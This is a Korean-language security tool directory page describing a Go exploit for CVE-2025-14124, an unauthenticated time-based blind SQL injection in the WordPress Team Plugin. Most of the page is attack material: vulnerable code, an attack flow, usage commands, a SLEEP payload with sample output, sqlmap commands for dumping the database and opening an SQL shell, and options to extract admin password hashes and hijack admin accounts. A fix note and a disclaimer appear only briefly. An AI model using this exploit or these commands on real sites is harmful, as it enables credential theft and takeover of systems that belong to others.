Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-14124 — 인증되지 않은 SQL 인젝션 (시간 기반 블라인드) | Kitploit
도구/GitHubGitHub/hyunchiya/cve-2025-14124
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubhyunchiya/cve-2025-14124

CVE-2025-14124

인증되지 않은 SQL 인젝션 (시간 기반 블라인드)

저장소 보기
7개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-14124

WordPress Team Plugin - 인증되지 않은 SQL 인젝션

저자: Hyun Chiya


취약점 정보

필드값
CVE IDCVE-2025-14124
PluginWordPress Team Plugin
영향 받는 버전< 5.0.11
취약점 유형인증되지 않은 SQL 인젝션 (시간 기반 블라인드)
심각도높음

설명

WordPress Team Plugin은 인증되지 않은 사용자가 사용할 수 있는 AJAX 액션을 통해 SQL 문에 search 매개변수를 사용하기 전에 적절히 살균 및 이스케이프하지 않아 SQL 인젝션이 발생합니다.

근본 원인 분석

취약한 코드는 app/Controllers/Frontend/Ajax/LoadMore.php에 있습니다:

root@kitploit:~
// Line 221 - User input sanitized but NOT SQL-escaped
$sAction = sanitize_text_field( wp_unslash( $_REQUEST['search'] ) );

// Line 437-438 - VULNERABLE: Direct SQL concatenation
function tlp_team_search_where( $where ) {
    global $wpdb;
    $term = $wpdb->esc_like( $this->s['s'] );  // ⚠️ esc_like only escapes %, _, \
    $where .= "OR ({$wpdb->posts}.post_title LIKE '%{$term}%' ...)";  // ⚠️ SQLi!
}

문제점: $wpdb->esc_like()는 LIKE 와일드카드만 이스케이프하고, SQL 인젝션 메타문자는 이스케이프하지 않습니다.

공격 흐름

root@kitploit:~
flowchart TD
    A["Attacker finds page with [tlpteam] shortcode"] --> B["Extract tlp_nonce and data-sc-id"]
    B --> C["POST to /wp-admin/admin-ajax.php"]
    C --> D["action=ttp_Layout_Ajax_Action<br/>search=SQL_PAYLOAD"]
    D --> E{"Nonce valid?"}
    E -->|Yes| F["SQL query executed with payload"]
    F --> G["Time-based detection via SLEEP()"]
    
    style F fill:#ff6b6b,stroke:#c92a2a,color:#fff
    style G fill:#51cf66,stroke:#2f9e44,color:#fff

전제 조건

  1. 대상에 WordPress Team Plugin이 설치되어 있어야 함 (< 5.0.11)
  2. [tlpteam] 단축 코드가 포함된 페이지가 존재해야 함
  3. 플러그인에 최소 한 명의 팀 멤버가 생성되어 있어야 함

빌드

root@kitploit:~
go build -o CVE-2025-14124.exe main.go

사용법

팀 페이지 자동 감지

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com

팀 페이지 URL 지정

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com --page-url http://target.com/our-team/

플러그인만 확인

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com --check-only

사용자 정의 SLEEP 지연

root@kitploit:~
.\CVE-2025-14124.exe -u http://target.com --delay 5

옵션

데이터 추출 모드 (--dump)

--dump를 사용하면 다음 정보를 추출합니다:

  • 데이터베이스 버전
  • 현재 데이터베이스 이름
  • 데이터베이스 사용자
  • WordPress 테이블 접두사
  • 관리자 사용자 이름
  • 관리자 비밀번호 해시
  • 관리자 이메일

참고: 시간 기반 블라인드 SQL 인젝션 특성상 데이터 추출이 느립니다 (전체 추출에 약 5-15분 소요).

관리자 하이재킹 모드 (--create-admin)

SQL UPDATE를 통해 기존 관리자 비밀번호 변경을 시도합니다.

⚠️ 중요: 이 모드는 스택 쿼리 지원이 필요하며, 일반적으로 PHP+MySQL에서는 비활성화되어 있습니다. 스택 쿼리가 지원되지 않는 경우, 대신 --dump를 사용하여 자격 증명을 추출하거나 sqlmap --sql-shell을 사용하여 직접 UPDATE를 실행하세요.

예시 출력

root@kitploit:~
>> [ ONLINE ]    
    ╔═══════════════════════════════════════════════════════════════════════════════════════╗
    ║   CVE-2025-14124 - WordPress Team Plugin SQL Injection                                ║
    ║   Affected: tlp-team < 5.0.11                                                         ║
    ║   Author: Hyun Chiya                                                                  ║
    ╚═══════════════════════════════════════════════════════════════════════════════════════╝

>> [ INFORMATION ]

[*] Checking if WordPress Team Plugin is active...
[+] Plugin detected: /wp-content/plugins/tlp-team/readme.txt
[+] Plugin detected!

[*] Searching for page with tlpteam shortcode...
[+] Found team page: http://target.com/our-team/
[+] Target page: http://target.com/our-team/

[+] Extracted nonce: abc123def456
[+] Extracted scID: 42

============================================================
[*] EXPLOIT: Time-Based Blind SQL Injection
============================================================

[*] Payload: t' OR SLEEP(3) OR 't'='t
[*] Expected delay: ~9 seconds (SLEEP executes 3 times)

[*] Sending malicious request...
[*] Response time: 9.23 seconds

[+] SQL INJECTION CONFIRMED!
[+] Response delayed by ~9 seconds (expected: 9)

[!] The target is vulnerable to Time-Based Blind SQL Injection
[!] Database can be extracted using tools like sqlmap

[*] Done.

SQLMap과 함께 사용

고급 공격을 위해 취약점 확인 후 sqlmap을 사용할 수 있습니다:

root@kitploit:~
# Dump database
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
  --data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
  -p search --dbms=mysql --technique=T --batch --dump

# SQL Shell (for UPDATE queries)
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
  --data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
  -p search --dbms=mysql --technique=T --sql-shell

해결 방법

⚠️ 중요: WordPress Team Plugin을 버전 5.0.11 이상으로 업데이트하세요. 해당 버전에서는 $wpdb->prepare()를 사용한 적절한 SQL 이스케이프로 취약점이 패치되었습니다.

참고 자료

  • WPScan Vulnerability Database

면책 조항

이 도구는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 책임감 있게 사용하십시오.

저자

Hyun Chiya

도구 다운로드
인자설명
-u대상 WordPress URL (필수)
--page-urltlpteam 단축 코드가 포함된 페이지 URL
--delay탐지를 위한 SLEEP 초 (기본값: 1)
--dump데이터베이스 정보 및 WordPress 관리자 자격 증명 추출
--create-admin관리자 계정 하이재킹 시도 (스택 쿼리 필요)
--admin-user관리자 하이재킹용 사용자 이름 (기본값: pwned_admin)
--admin-pass관리자 하이재킹용 비밀번호 (기본값: Pwned123!)
--check-only플러그인 활성화 여부만 확인
--timeout요청 시간 제한 초 (기본값: 120)